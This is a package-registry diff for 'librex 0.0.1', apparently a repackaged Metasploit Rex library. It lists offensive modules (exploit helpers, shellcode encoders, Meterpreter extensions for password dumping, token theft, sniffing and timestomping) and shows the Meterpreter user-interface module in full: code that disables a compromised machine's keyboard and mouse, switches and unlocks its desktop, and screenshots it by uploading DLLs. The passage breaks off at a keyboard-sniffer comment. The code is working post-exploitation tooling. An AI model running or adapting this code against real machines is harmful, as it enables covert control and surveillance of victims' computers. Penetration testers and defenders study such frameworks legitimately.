librex 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/README +4 -0
- data/lib/rex.rb +101 -0
- data/lib/rex.rb.ts.rb +70 -0
- data/lib/rex/LICENSE +29 -0
- data/lib/rex/arch.rb +103 -0
- data/lib/rex/arch/sparc.rb +75 -0
- data/lib/rex/arch/sparc.rb.ut.rb +18 -0
- data/lib/rex/arch/x86.rb +513 -0
- data/lib/rex/arch/x86.rb.ut.rb +93 -0
- data/lib/rex/assembly/nasm.rb +100 -0
- data/lib/rex/assembly/nasm.rb.ut.rb +22 -0
- data/lib/rex/codepage.map +104 -0
- data/lib/rex/compat.rb +281 -0
- data/lib/rex/constants.rb +113 -0
- data/lib/rex/elfparsey.rb +11 -0
- data/lib/rex/elfparsey/elf.rb +123 -0
- data/lib/rex/elfparsey/elfbase.rb +260 -0
- data/lib/rex/elfparsey/exceptions.rb +27 -0
- data/lib/rex/elfscan.rb +12 -0
- data/lib/rex/elfscan/scanner.rb +207 -0
- data/lib/rex/elfscan/search.rb +46 -0
- data/lib/rex/encoder/alpha2.rb +31 -0
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +68 -0
- data/lib/rex/encoder/alpha2/alpha_upper.rb +79 -0
- data/lib/rex/encoder/alpha2/generic.rb +113 -0
- data/lib/rex/encoder/alpha2/unicode_mixed.rb +117 -0
- data/lib/rex/encoder/alpha2/unicode_upper.rb +129 -0
- data/lib/rex/encoder/ndr.rb +89 -0
- data/lib/rex/encoder/ndr.rb.ut.rb +44 -0
- data/lib/rex/encoder/nonalpha.rb +61 -0
- data/lib/rex/encoder/nonupper.rb +64 -0
- data/lib/rex/encoder/xdr.rb +106 -0
- data/lib/rex/encoder/xdr.rb.ut.rb +29 -0
- data/lib/rex/encoder/xor.rb +69 -0
- data/lib/rex/encoder/xor/dword.rb +13 -0
- data/lib/rex/encoder/xor/dword_additive.rb +13 -0
- data/lib/rex/encoders/xor_dword.rb +35 -0
- data/lib/rex/encoders/xor_dword_additive.rb +53 -0
- data/lib/rex/encoders/xor_dword_additive.rb.ut.rb +12 -0
- data/lib/rex/encoding/xor.rb +20 -0
- data/lib/rex/encoding/xor.rb.ts.rb +14 -0
- data/lib/rex/encoding/xor/byte.rb +15 -0
- data/lib/rex/encoding/xor/byte.rb.ut.rb +21 -0
- data/lib/rex/encoding/xor/dword.rb +21 -0
- data/lib/rex/encoding/xor/dword.rb.ut.rb +15 -0
- data/lib/rex/encoding/xor/dword_additive.rb +92 -0
- data/lib/rex/encoding/xor/dword_additive.rb.ut.rb +15 -0
- data/lib/rex/encoding/xor/exceptions.rb +17 -0
- data/lib/rex/encoding/xor/generic.rb +146 -0
- data/lib/rex/encoding/xor/generic.rb.ut.rb +120 -0
- data/lib/rex/encoding/xor/qword.rb +15 -0
- data/lib/rex/encoding/xor/word.rb +21 -0
- data/lib/rex/encoding/xor/word.rb.ut.rb +13 -0
- data/lib/rex/exceptions.rb +275 -0
- data/lib/rex/exceptions.rb.ut.rb +44 -0
- data/lib/rex/exploitation/cmdstager.rb +133 -0
- data/lib/rex/exploitation/egghunter.rb +143 -0
- data/lib/rex/exploitation/egghunter.rb.ut.rb +25 -0
- data/lib/rex/exploitation/encryptjs.rb +77 -0
- data/lib/rex/exploitation/heaplib.js.b64 +331 -0
- data/lib/rex/exploitation/heaplib.rb +94 -0
- data/lib/rex/exploitation/javascriptosdetect.rb +735 -0
- data/lib/rex/exploitation/obfuscatejs.rb +335 -0
- data/lib/rex/exploitation/opcodedb.rb +818 -0
- data/lib/rex/exploitation/opcodedb.rb.ut.rb +279 -0
- data/lib/rex/exploitation/seh.rb +92 -0
- data/lib/rex/exploitation/seh.rb.ut.rb +19 -0
- data/lib/rex/file.rb +84 -0
- data/lib/rex/file.rb.ut.rb +16 -0
- data/lib/rex/image_source.rb +12 -0
- data/lib/rex/image_source/disk.rb +60 -0
- data/lib/rex/image_source/image_source.rb +46 -0
- data/lib/rex/image_source/memory.rb +37 -0
- data/lib/rex/io/bidirectional_pipe.rb +157 -0
- data/lib/rex/io/datagram_abstraction.rb +35 -0
- data/lib/rex/io/stream.rb +313 -0
- data/lib/rex/io/stream_abstraction.rb +186 -0
- data/lib/rex/io/stream_server.rb +211 -0
- data/lib/rex/job_container.rb +202 -0
- data/lib/rex/logging.rb +4 -0
- data/lib/rex/logging/log_dispatcher.rb +179 -0
- data/lib/rex/logging/log_sink.rb +42 -0
- data/lib/rex/logging/sinks/flatfile.rb +55 -0
- data/lib/rex/logging/sinks/stderr.rb +43 -0
- data/lib/rex/machparsey.rb +9 -0
- data/lib/rex/machparsey/exceptions.rb +34 -0
- data/lib/rex/machparsey/mach.rb +209 -0
- data/lib/rex/machparsey/machbase.rb +408 -0
- data/lib/rex/machscan.rb +9 -0
- data/lib/rex/machscan/scanner.rb +217 -0
- data/lib/rex/mime.rb +9 -0
- data/lib/rex/mime/header.rb +75 -0
- data/lib/rex/mime/message.rb +112 -0
- data/lib/rex/mime/part.rb +20 -0
- data/lib/rex/nop/opty2.rb +108 -0
- data/lib/rex/nop/opty2.rb.ut.rb +23 -0
- data/lib/rex/nop/opty2_tables.rb +300 -0
- data/lib/rex/ole.rb +128 -0
- data/lib/rex/ole/clsid.rb +47 -0
- data/lib/rex/ole/difat.rb +141 -0
- data/lib/rex/ole/directory.rb +230 -0
- data/lib/rex/ole/direntry.rb +240 -0
- data/lib/rex/ole/fat.rb +99 -0
- data/lib/rex/ole/header.rb +204 -0
- data/lib/rex/ole/minifat.rb +77 -0
- data/lib/rex/ole/samples/create_ole.rb +27 -0
- data/lib/rex/ole/samples/dir.rb +35 -0
- data/lib/rex/ole/samples/dump_stream.rb +34 -0
- data/lib/rex/ole/samples/ole_info.rb +23 -0
- data/lib/rex/ole/storage.rb +395 -0
- data/lib/rex/ole/stream.rb +53 -0
- data/lib/rex/ole/substorage.rb +49 -0
- data/lib/rex/ole/util.rb +157 -0
- data/lib/rex/parser/arguments.rb +97 -0
- data/lib/rex/parser/arguments.rb.ut.rb +67 -0
- data/lib/rex/parser/ini.rb +185 -0
- data/lib/rex/parser/ini.rb.ut.rb +29 -0
- data/lib/rex/parser/nmap_xml.rb +111 -0
- data/lib/rex/payloads.rb +1 -0
- data/lib/rex/payloads/win32.rb +2 -0
- data/lib/rex/payloads/win32/common.rb +26 -0
- data/lib/rex/payloads/win32/kernel.rb +53 -0
- data/lib/rex/payloads/win32/kernel/common.rb +54 -0
- data/lib/rex/payloads/win32/kernel/migration.rb +12 -0
- data/lib/rex/payloads/win32/kernel/recovery.rb +50 -0
- data/lib/rex/payloads/win32/kernel/stager.rb +171 -0
- data/lib/rex/peparsey.rb +12 -0
- data/lib/rex/peparsey/exceptions.rb +32 -0
- data/lib/rex/peparsey/pe.rb +188 -0
- data/lib/rex/peparsey/pe_memdump.rb +63 -0
- data/lib/rex/peparsey/pebase.rb +1655 -0
- data/lib/rex/peparsey/section.rb +136 -0
- data/lib/rex/pescan.rb +13 -0
- data/lib/rex/pescan/analyze.rb +309 -0
- data/lib/rex/pescan/scanner.rb +206 -0
- data/lib/rex/pescan/search.rb +56 -0
- data/lib/rex/platforms.rb +1 -0
- data/lib/rex/platforms/windows.rb +51 -0
- data/lib/rex/poly.rb +132 -0
- data/lib/rex/poly/block.rb +468 -0
- data/lib/rex/poly/register.rb +100 -0
- data/lib/rex/poly/register/x86.rb +40 -0
- data/lib/rex/post.rb +8 -0
- data/lib/rex/post/dir.rb +51 -0
- data/lib/rex/post/file.rb +172 -0
- data/lib/rex/post/file_stat.rb +220 -0
- data/lib/rex/post/gen.pl +13 -0
- data/lib/rex/post/io.rb +182 -0
- data/lib/rex/post/meterpreter.rb +4 -0
- data/lib/rex/post/meterpreter/channel.rb +438 -0
- data/lib/rex/post/meterpreter/channel_container.rb +54 -0
- data/lib/rex/post/meterpreter/channels/pool.rb +160 -0
- data/lib/rex/post/meterpreter/channels/pools/file.rb +62 -0
- data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +103 -0
- data/lib/rex/post/meterpreter/channels/stream.rb +87 -0
- data/lib/rex/post/meterpreter/client.rb +335 -0
- data/lib/rex/post/meterpreter/client_core.rb +274 -0
- data/lib/rex/post/meterpreter/dependencies.rb +3 -0
- data/lib/rex/post/meterpreter/extension.rb +32 -0
- data/lib/rex/post/meterpreter/extensions/espia/espia.rb +58 -0
- data/lib/rex/post/meterpreter/extensions/espia/tlv.rb +16 -0
- data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +94 -0
- data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb +21 -0
- data/lib/rex/post/meterpreter/extensions/priv/fs.rb +118 -0
- data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +61 -0
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +104 -0
- data/lib/rex/post/meterpreter/extensions/priv/tlv.rb +28 -0
- data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +100 -0
- data/lib/rex/post/meterpreter/extensions/sniffer/tlv.rb +24 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +333 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +273 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +235 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +103 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +48 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +144 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +73 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +56 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +137 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +167 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +167 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +192 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +139 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +97 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +184 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +41 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +61 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +361 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +129 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +55 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +336 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +141 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +279 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +182 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +102 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +174 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +185 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +227 -0
- data/lib/rex/post/meterpreter/inbound_packet_handler.rb +30 -0
- data/lib/rex/post/meterpreter/object_aliases.rb +83 -0
- data/lib/rex/post/meterpreter/packet.rb +596 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +409 -0
- data/lib/rex/post/meterpreter/packet_parser.rb +94 -0
- data/lib/rex/post/meterpreter/packet_response_waiter.rb +83 -0
- data/lib/rex/post/meterpreter/ui/console.rb +135 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +62 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +595 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +108 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +241 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +61 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +98 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +51 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +132 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +187 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +63 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +376 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +270 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +484 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +315 -0
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +95 -0
- data/lib/rex/post/permission.rb +26 -0
- data/lib/rex/post/process.rb +57 -0
- data/lib/rex/post/thread.rb +57 -0
- data/lib/rex/post/ui.rb +52 -0
- data/lib/rex/proto.rb +12 -0
- data/lib/rex/proto.rb.ts.rb +8 -0
- data/lib/rex/proto/dcerpc.rb +6 -0
- data/lib/rex/proto/dcerpc.rb.ts.rb +9 -0
- data/lib/rex/proto/dcerpc/client.rb +358 -0
- data/lib/rex/proto/dcerpc/client.rb.ut.rb +491 -0
- data/lib/rex/proto/dcerpc/exceptions.rb +150 -0
- data/lib/rex/proto/dcerpc/handle.rb +47 -0
- data/lib/rex/proto/dcerpc/handle.rb.ut.rb +85 -0
- data/lib/rex/proto/dcerpc/ndr.rb +72 -0
- data/lib/rex/proto/dcerpc/ndr.rb.ut.rb +41 -0
- data/lib/rex/proto/dcerpc/packet.rb +253 -0
- data/lib/rex/proto/dcerpc/packet.rb.ut.rb +56 -0
- data/lib/rex/proto/dcerpc/response.rb +186 -0
- data/lib/rex/proto/dcerpc/response.rb.ut.rb +15 -0
- data/lib/rex/proto/dcerpc/uuid.rb +84 -0
- data/lib/rex/proto/dcerpc/uuid.rb.ut.rb +46 -0
- data/lib/rex/proto/drda.rb +5 -0
- data/lib/rex/proto/drda.rb.ts.rb +17 -0
- data/lib/rex/proto/drda/constants.rb +49 -0
- data/lib/rex/proto/drda/constants.rb.ut.rb +23 -0
- data/lib/rex/proto/drda/packet.rb +252 -0
- data/lib/rex/proto/drda/packet.rb.ut.rb +109 -0
- data/lib/rex/proto/drda/utils.rb +123 -0
- data/lib/rex/proto/drda/utils.rb.ut.rb +84 -0
- data/lib/rex/proto/http.rb +5 -0
- data/lib/rex/proto/http.rb.ts.rb +12 -0
- data/lib/rex/proto/http/client.rb +817 -0
- data/lib/rex/proto/http/client.rb.ut.rb +93 -0
- data/lib/rex/proto/http/handler.rb +46 -0
- data/lib/rex/proto/http/handler/erb.rb +128 -0
- data/lib/rex/proto/http/handler/erb.rb.ut.rb +21 -0
- data/lib/rex/proto/http/handler/erb.rb.ut.rb.rhtml +1 -0
- data/lib/rex/proto/http/handler/proc.rb +54 -0
- data/lib/rex/proto/http/handler/proc.rb.ut.rb +24 -0
- data/lib/rex/proto/http/header.rb +161 -0
- data/lib/rex/proto/http/header.rb.ut.rb +46 -0
- data/lib/rex/proto/http/packet.rb +394 -0
- data/lib/rex/proto/http/packet.rb.ut.rb +165 -0
- data/lib/rex/proto/http/request.rb +356 -0
- data/lib/rex/proto/http/request.rb.ut.rb +214 -0
- data/lib/rex/proto/http/response.rb +85 -0
- data/lib/rex/proto/http/response.rb.ut.rb +149 -0
- data/lib/rex/proto/http/server.rb +367 -0
- data/lib/rex/proto/http/server.rb.ut.rb +79 -0
- data/lib/rex/proto/smb.rb +7 -0
- data/lib/rex/proto/smb.rb.ts.rb +8 -0
- data/lib/rex/proto/smb/client.rb +1733 -0
- data/lib/rex/proto/smb/client.rb.ut.rb +223 -0
- data/lib/rex/proto/smb/constants.rb +1062 -0
- data/lib/rex/proto/smb/constants.rb.ut.rb +18 -0
- data/lib/rex/proto/smb/crypt.rb +95 -0
- data/lib/rex/proto/smb/crypt.rb.ut.rb +20 -0
- data/lib/rex/proto/smb/evasions.rb +65 -0
- data/lib/rex/proto/smb/exceptions.rb +846 -0
- data/lib/rex/proto/smb/simpleclient.rb +292 -0
- data/lib/rex/proto/smb/simpleclient.rb.ut.rb +128 -0
- data/lib/rex/proto/smb/utils.rb +514 -0
- data/lib/rex/proto/smb/utils.rb.ut.rb +20 -0
- data/lib/rex/proto/sunrpc.rb +1 -0
- data/lib/rex/proto/sunrpc/client.rb +195 -0
- data/lib/rex/script.rb +42 -0
- data/lib/rex/script/base.rb +59 -0
- data/lib/rex/script/meterpreter.rb +9 -0
- data/lib/rex/script/shell.rb +9 -0
- data/lib/rex/service.rb +48 -0
- data/lib/rex/service_manager.rb +141 -0
- data/lib/rex/service_manager.rb.ut.rb +32 -0
- data/lib/rex/services/local_relay.rb +423 -0
- data/lib/rex/socket.rb +586 -0
- data/lib/rex/socket.rb.ut.rb +86 -0
- data/lib/rex/socket/comm.rb +119 -0
- data/lib/rex/socket/comm/local.rb +409 -0
- data/lib/rex/socket/comm/local.rb.ut.rb +75 -0
- data/lib/rex/socket/ip.rb +129 -0
- data/lib/rex/socket/parameters.rb +345 -0
- data/lib/rex/socket/parameters.rb.ut.rb +51 -0
- data/lib/rex/socket/range_walker.rb +295 -0
- data/lib/rex/socket/range_walker.rb.ut.rb +55 -0
- data/lib/rex/socket/ssl_tcp.rb +184 -0
- data/lib/rex/socket/ssl_tcp.rb.ut.rb +39 -0
- data/lib/rex/socket/ssl_tcp_server.rb +122 -0
- data/lib/rex/socket/ssl_tcp_server.rb.ut.rb +51 -0
- data/lib/rex/socket/subnet_walker.rb +75 -0
- data/lib/rex/socket/subnet_walker.rb.ut.rb +28 -0
- data/lib/rex/socket/switch_board.rb +272 -0
- data/lib/rex/socket/switch_board.rb.ut.rb +52 -0
- data/lib/rex/socket/tcp.rb +76 -0
- data/lib/rex/socket/tcp.rb.ut.rb +64 -0
- data/lib/rex/socket/tcp_server.rb +67 -0
- data/lib/rex/socket/tcp_server.rb.ut.rb +44 -0
- data/lib/rex/socket/udp.rb +157 -0
- data/lib/rex/socket/udp.rb.ut.rb +44 -0
- data/lib/rex/struct2.rb +5 -0
- data/lib/rex/struct2/c_struct.rb +181 -0
- data/lib/rex/struct2/c_struct_template.rb +39 -0
- data/lib/rex/struct2/constant.rb +26 -0
- data/lib/rex/struct2/element.rb +44 -0
- data/lib/rex/struct2/generic.rb +73 -0
- data/lib/rex/struct2/restraint.rb +54 -0
- data/lib/rex/struct2/s_string.rb +72 -0
- data/lib/rex/struct2/s_struct.rb +111 -0
- data/lib/rex/sync.rb +6 -0
- data/lib/rex/sync/event.rb +94 -0
- data/lib/rex/sync/read_write_lock.rb +176 -0
- data/lib/rex/sync/ref.rb +57 -0
- data/lib/rex/sync/thread_safe.rb +82 -0
- data/lib/rex/test.rb +35 -0
- data/lib/rex/text.rb +1029 -0
- data/lib/rex/text.rb.ut.rb +168 -0
- data/lib/rex/time.rb +65 -0
- data/lib/rex/transformer.rb +115 -0
- data/lib/rex/transformer.rb.ut.rb +38 -0
- data/lib/rex/ui.rb +21 -0
- data/lib/rex/ui/interactive.rb +252 -0
- data/lib/rex/ui/output.rb +80 -0
- data/lib/rex/ui/output/none.rb +18 -0
- data/lib/rex/ui/progress_tracker.rb +96 -0
- data/lib/rex/ui/subscriber.rb +149 -0
- data/lib/rex/ui/text/color.rb +97 -0
- data/lib/rex/ui/text/color.rb.ut.rb +18 -0
- data/lib/rex/ui/text/dispatcher_shell.rb +382 -0
- data/lib/rex/ui/text/input.rb +117 -0
- data/lib/rex/ui/text/input/buffer.rb +75 -0
- data/lib/rex/ui/text/input/readline.rb +129 -0
- data/lib/rex/ui/text/input/socket.rb +95 -0
- data/lib/rex/ui/text/input/stdio.rb +45 -0
- data/lib/rex/ui/text/irb_shell.rb +55 -0
- data/lib/rex/ui/text/output.rb +80 -0
- data/lib/rex/ui/text/output/buffer.rb +65 -0
- data/lib/rex/ui/text/output/file.rb +37 -0
- data/lib/rex/ui/text/output/socket.rb +43 -0
- data/lib/rex/ui/text/output/stdio.rb +40 -0
- data/lib/rex/ui/text/progress_tracker.rb +56 -0
- data/lib/rex/ui/text/progress_tracker.rb.ut.rb +34 -0
- data/lib/rex/ui/text/shell.rb +321 -0
- data/lib/rex/ui/text/table.rb +254 -0
- data/lib/rex/ui/text/table.rb.ut.rb +55 -0
- data/lib/rex/zip.rb +93 -0
- data/lib/rex/zip/archive.rb +91 -0
- data/lib/rex/zip/blocks.rb +182 -0
- data/lib/rex/zip/entry.rb +95 -0
- data/lib/rex/zip/samples/comment.rb +32 -0
- data/lib/rex/zip/samples/mkwar.rb +138 -0
- data/lib/rex/zip/samples/mkzip.rb +19 -0
- data/lib/rex/zip/samples/recursive.rb +58 -0
- metadata +435 -0
|
@@ -0,0 +1,227 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
require 'rex/post/ui'
|
|
4
|
+
|
|
5
|
+
module Rex
|
|
6
|
+
module Post
|
|
7
|
+
module Meterpreter
|
|
8
|
+
module Extensions
|
|
9
|
+
module Stdapi
|
|
10
|
+
|
|
11
|
+
###
|
|
12
|
+
#
|
|
13
|
+
# Allows for interacting with the user interface on the remote machine,
|
|
14
|
+
# such as by disabling the keyboard and mouse.
|
|
15
|
+
#
|
|
16
|
+
# WARNING:
|
|
17
|
+
#
|
|
18
|
+
# Using keyboard and mouse enabling/disabling features will result in
|
|
19
|
+
# a DLL file being written to disk.
|
|
20
|
+
#
|
|
21
|
+
###
|
|
22
|
+
class UI < Rex::Post::UI
|
|
23
|
+
|
|
24
|
+
include Rex::Post::Meterpreter::ObjectAliasesContainer
|
|
25
|
+
|
|
26
|
+
##
|
|
27
|
+
#
|
|
28
|
+
# Constructor
|
|
29
|
+
#
|
|
30
|
+
##
|
|
31
|
+
|
|
32
|
+
#
|
|
33
|
+
# Initializes the post-exploitation user-interface manipulation subsystem.
|
|
34
|
+
#
|
|
35
|
+
def initialize(client)
|
|
36
|
+
self.client = client
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
##
|
|
40
|
+
#
|
|
41
|
+
# Device enabling/disabling
|
|
42
|
+
#
|
|
43
|
+
##
|
|
44
|
+
|
|
45
|
+
#
|
|
46
|
+
# Disable keyboard input on the remote machine.
|
|
47
|
+
#
|
|
48
|
+
def disable_keyboard
|
|
49
|
+
return enable_keyboard(false)
|
|
50
|
+
end
|
|
51
|
+
|
|
52
|
+
#
|
|
53
|
+
# Enable keyboard input on the remote machine.
|
|
54
|
+
#
|
|
55
|
+
def enable_keyboard(enable = true)
|
|
56
|
+
request = Packet.create_request('stdapi_ui_enable_keyboard')
|
|
57
|
+
|
|
58
|
+
request.add_tlv(TLV_TYPE_BOOL, enable)
|
|
59
|
+
|
|
60
|
+
response = client.send_request(request)
|
|
61
|
+
|
|
62
|
+
return true
|
|
63
|
+
end
|
|
64
|
+
|
|
65
|
+
#
|
|
66
|
+
# Disable mouse input on the remote machine.
|
|
67
|
+
#
|
|
68
|
+
def disable_mouse
|
|
69
|
+
return enable_mouse(false)
|
|
70
|
+
end
|
|
71
|
+
|
|
72
|
+
#
|
|
73
|
+
# Enable mouse input on the remote machine.
|
|
74
|
+
#
|
|
75
|
+
def enable_mouse(enable = true)
|
|
76
|
+
request = Packet.create_request('stdapi_ui_enable_mouse')
|
|
77
|
+
|
|
78
|
+
request.add_tlv(TLV_TYPE_BOOL, enable)
|
|
79
|
+
|
|
80
|
+
response = client.send_request(request)
|
|
81
|
+
|
|
82
|
+
return true
|
|
83
|
+
end
|
|
84
|
+
|
|
85
|
+
#
|
|
86
|
+
# Returns the number of seconds the remote machine has been idle
|
|
87
|
+
# from user input.
|
|
88
|
+
#
|
|
89
|
+
def idle_time
|
|
90
|
+
request = Packet.create_request('stdapi_ui_get_idle_time')
|
|
91
|
+
|
|
92
|
+
response = client.send_request(request)
|
|
93
|
+
|
|
94
|
+
return response.get_tlv_value(TLV_TYPE_IDLE_TIME);
|
|
95
|
+
end
|
|
96
|
+
|
|
97
|
+
#
|
|
98
|
+
# Enumerate desktops.
|
|
99
|
+
#
|
|
100
|
+
def enum_desktops
|
|
101
|
+
request = Packet.create_request('stdapi_ui_desktop_enum')
|
|
102
|
+
response = client.send_request(request)
|
|
103
|
+
desktopz = []
|
|
104
|
+
if( response.result == 0 )
|
|
105
|
+
response.each( TLV_TYPE_DESKTOP ) { | desktop |
|
|
106
|
+
desktopz << {
|
|
107
|
+
'session' => desktop.get_tlv_value( TLV_TYPE_DESKTOP_SESSION ),
|
|
108
|
+
'station' => desktop.get_tlv_value( TLV_TYPE_DESKTOP_STATION ),
|
|
109
|
+
'name' => desktop.get_tlv_value( TLV_TYPE_DESKTOP_NAME )
|
|
110
|
+
}
|
|
111
|
+
}
|
|
112
|
+
end
|
|
113
|
+
return desktopz
|
|
114
|
+
end
|
|
115
|
+
|
|
116
|
+
#
|
|
117
|
+
# Get the current desktop meterpreter is using.
|
|
118
|
+
#
|
|
119
|
+
def get_desktop
|
|
120
|
+
request = Packet.create_request( 'stdapi_ui_desktop_get' )
|
|
121
|
+
response = client.send_request( request )
|
|
122
|
+
desktop = {}
|
|
123
|
+
if( response.result == 0 )
|
|
124
|
+
desktop = {
|
|
125
|
+
'session' => response.get_tlv_value( TLV_TYPE_DESKTOP_SESSION ),
|
|
126
|
+
'station' => response.get_tlv_value( TLV_TYPE_DESKTOP_STATION ),
|
|
127
|
+
'name' => response.get_tlv_value( TLV_TYPE_DESKTOP_NAME )
|
|
128
|
+
}
|
|
129
|
+
end
|
|
130
|
+
return desktop
|
|
131
|
+
end
|
|
132
|
+
|
|
133
|
+
#
|
|
134
|
+
# Change the meterpreters current desktop. The switch param sets this
|
|
135
|
+
# new desktop as the interactive one (The local users visible desktop
|
|
136
|
+
# with screen/keyboard/mouse control).
|
|
137
|
+
#
|
|
138
|
+
def set_desktop( session=-1, station='WinSta0', name='Default', switch=false )
|
|
139
|
+
request = Packet.create_request( 'stdapi_ui_desktop_set' )
|
|
140
|
+
request.add_tlv( TLV_TYPE_DESKTOP_SESSION, session )
|
|
141
|
+
request.add_tlv( TLV_TYPE_DESKTOP_STATION, station )
|
|
142
|
+
request.add_tlv( TLV_TYPE_DESKTOP_NAME, name )
|
|
143
|
+
request.add_tlv( TLV_TYPE_DESKTOP_SWITCH, switch )
|
|
144
|
+
response = client.send_request( request )
|
|
145
|
+
if( response.result == 0 )
|
|
146
|
+
return true
|
|
147
|
+
end
|
|
148
|
+
return false
|
|
149
|
+
end
|
|
150
|
+
|
|
151
|
+
#
|
|
152
|
+
# Grab a screenshot of the interactive desktop
|
|
153
|
+
#
|
|
154
|
+
def screenshot( quality=50 )
|
|
155
|
+
request = Packet.create_request( 'stdapi_ui_desktop_screenshot' )
|
|
156
|
+
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality )
|
|
157
|
+
# include the x64 screenshot dll if the host OS is x64
|
|
158
|
+
if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
|
|
159
|
+
screenshot_path = ::File.join( Msf::Config.install_root, 'data', 'meterpreter', 'screenshot.x64.dll' )
|
|
160
|
+
screenshot_path = ::File.expand_path( screenshot_path )
|
|
161
|
+
screenshot_dll = ''
|
|
162
|
+
::File.open( screenshot_path, 'rb' ) do |f|
|
|
163
|
+
screenshot_dll += f.read( f.stat.size )
|
|
164
|
+
end
|
|
165
|
+
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true )
|
|
166
|
+
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length )
|
|
167
|
+
end
|
|
168
|
+
# but allways include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
|
|
169
|
+
screenshot_path = ::File.join( Msf::Config.install_root, 'data', 'meterpreter', 'screenshot.dll' )
|
|
170
|
+
screenshot_path = ::File.expand_path( screenshot_path )
|
|
171
|
+
screenshot_dll = ''
|
|
172
|
+
::File.open( screenshot_path, 'rb' ) do |f|
|
|
173
|
+
screenshot_dll += f.read( f.stat.size )
|
|
174
|
+
end
|
|
175
|
+
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, screenshot_dll, false, true )
|
|
176
|
+
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH, screenshot_dll.length )
|
|
177
|
+
# send the request and return the jpeg image if successfull.
|
|
178
|
+
response = client.send_request( request )
|
|
179
|
+
if( response.result == 0 )
|
|
180
|
+
return response.get_tlv_value( TLV_TYPE_DESKTOP_SCREENSHOT )
|
|
181
|
+
end
|
|
182
|
+
return nil
|
|
183
|
+
end
|
|
184
|
+
|
|
185
|
+
#
|
|
186
|
+
# Unlock or lock the desktop
|
|
187
|
+
#
|
|
188
|
+
def unlock_desktop(unlock=true)
|
|
189
|
+
request = Packet.create_request('stdapi_ui_unlock_desktop')
|
|
190
|
+
request.add_tlv(TLV_TYPE_BOOL, unlock)
|
|
191
|
+
response = client.send_request(request)
|
|
192
|
+
return true
|
|
193
|
+
end
|
|
194
|
+
|
|
195
|
+
#
|
|
196
|
+
# Start the keyboard sniffer
|
|
197
|
+
#
|
|
198
|
+
